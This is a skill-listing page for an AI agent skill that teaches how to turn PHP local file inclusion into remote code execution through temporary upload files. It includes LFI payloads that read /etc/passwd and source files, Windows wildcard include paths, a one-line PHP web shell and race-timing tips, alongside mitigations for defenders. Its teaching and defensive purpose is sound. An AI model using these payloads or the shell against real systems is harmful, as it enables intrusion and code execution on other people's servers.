# Lfi Temp File Exploitation

> How to test for and exploit Local File Inclusion (LFI) vulnerabilities that can lead to Remote Code Execution (RCE) through temporary file uploads. Use this skill whenever you're testing web applications for file inclusion vulnerabilities, analyzing PHP file upload handlers, investigating potential LFI-to-RCE attack vectors, or when a user mentions LFI, file uploads, temporary files, or PHP file handling in a security testing context.

- Skill: `abelrguezr/lfi-temp-file-exploitation` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/lfi-temp-file-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/lfi-temp-file-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/lfi-temp-file-exploitation

---


# LFI to RCE via Temporary File Uploads

This skill helps you test for and understand Local File Inclusion (LFI) vulnerabilities that can be exploited through PHP's temporary file upload mechanism to achieve Remote Code Execution (RCE).

## Understanding the Vulnerability

### How PHP File Uploads Work

When PHP receives a POST request with files formatted according to RFC 1867, it:

1. Creates temporary files to store uploaded data
2. Stores these files in a system-specific temporary directory
3. Automatically deletes remaining temporary files after script execution
4. Requires `move_uploaded_file()` to relocate files for persistent storage

**The Attack Vector**: If an application has an LFI vulnerability, attackers can include these temporary files during the upload window before PHP deletes them, potentially executing malicious code.

### The Challenge

The main obstacle is predicting the temporary file's name, which is intentionally randomized. However, the randomization strength varies significantly between operating systems.

## Windows Exploitation

Windows systems have weaker randomization, making exploitation more feasible.

### Temporary File Naming Pattern

On Windows, PHP uses `GetTempFileName` which creates files with this pattern:

```
<path>\<pre><uuuu>.TMP
```

Where:
- **Path**: Typically `C:\Windows\Temp`
- **Prefix**: Usually `php`
- **<uuuu>**: Unique hexadecimal value (only lower 16 bits used)

**Key Insight**: Only 65,535 unique names are possible with constant path and prefix, making brute force feasible.

### Wildcard Exploitation

Windows `FindFirstFile` function allows wildcards in LFI paths. Use this to locate temporary files:

```
http://site/vuln.php?inc=c:\windows\temp\php<<
```

**Testing Strategy**:
1. Start with the basic wildcard pattern: `php<<`
2. If needed, try more specific masks: `php1<<`, `phpA<<`, `php0<<`
3. Systematically iterate through different prefix variations

### Common Windows Temp Paths to Test

```
C:\Windows\Temp\php<<
C:\Temp\php<<
C:\Windows\TEMP\php<<
%TEMP%\php<<
```

## Linux Exploitation

Linux systems use robust randomization for temporary file names, making them:
- Not predictable
- Not susceptible to brute force attacks
- Generally not exploitable via this technique

**Note**: Focus your testing efforts on Windows systems when using this technique.

## Testing Methodology

### Step 1: Identify File Upload Functionality

Look for:
- File input fields (`<input type="file">`)
- PHP scripts handling file uploads
- POST requests with multipart/form-data

### Step 2: Confirm LFI Vulnerability

Test for LFI with standard payloads:
```
?include=../../etc/passwd
?file=....//....//....//etc/passwd
?inc=php://filter/convert.base64-encode/resource=index.php
```

### Step 3: Test Temporary File Inclusion

1. **Prepare a malicious payload** (e.g., PHP shell)
2. **Upload the file** while simultaneously attempting LFI
3. **Use wildcard patterns** on Windows to locate the temp file
4. **Verify code execution** through the included file

### Step 4: Timing Considerations

The attack window is narrow:
- Upload must complete
- LFI must occur before script execution ends
- PHP must not have deleted the temp file yet

Consider using:
- Concurrent requests
- Slowloris-style delays
- Race condition techniques

## Example Payloads

### Basic PHP Shell

```php
<?php echo "LFI to RCE successful!"; system($_GET['cmd']); ?>
```

### Windows Wildcard LFI Payloads

```
?inc=c:\windows\temp\php<<
?inc=c:\windows\temp\php1<<
?inc=c:\windows\temp\phpA<<
?inc=c:\windows\temp\php0<<
?inc=c:\windows\temp\php*<<
```

## Detection and Prevention

### For Security Testers

**Signs of vulnerability**:
- PHP file upload functionality present
- LFI vulnerability confirmed
- Windows server environment
- Temporary files accessible via include paths

### For Defenders

**Mitigation strategies**:
1. **Disable file uploads** if not needed
2. **Use `move_uploaded_file()`** immediately after upload
3. **Store uploads outside web root**
4. **Disable `allow_url_include`** in php.ini
5. **Implement strict file validation**
6. **Use prepared statements** for file paths
7. **Apply principle of least privilege**

## Tools and Scripts

Use the bundled scripts in `scripts/` to:
- Generate wildcard test payloads for Windows
- Enumerate common temp file paths
- Create test payloads for upload testing

## Safety and Ethics

**Important**: Only test systems you have explicit authorization to assess. Unauthorized exploitation of LFI vulnerabilities is illegal and unethical.

## References

- [PHP LFI RFC1867 Temporary Files](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)
- PHP RFC 1867 File Upload Specification
- OWASP File Upload Vulnerabilities

## When to Use This Skill

Use this skill when:
- Testing web applications for LFI vulnerabilities
- Analyzing PHP file upload handlers
- Investigating potential RCE attack vectors
- Security assessments involving file inclusion
- When a user mentions LFI, file uploads, temporary files, or PHP file handling in a security context
- Preparing for penetration testing engagements
- Understanding the LFI-to-RCE attack chain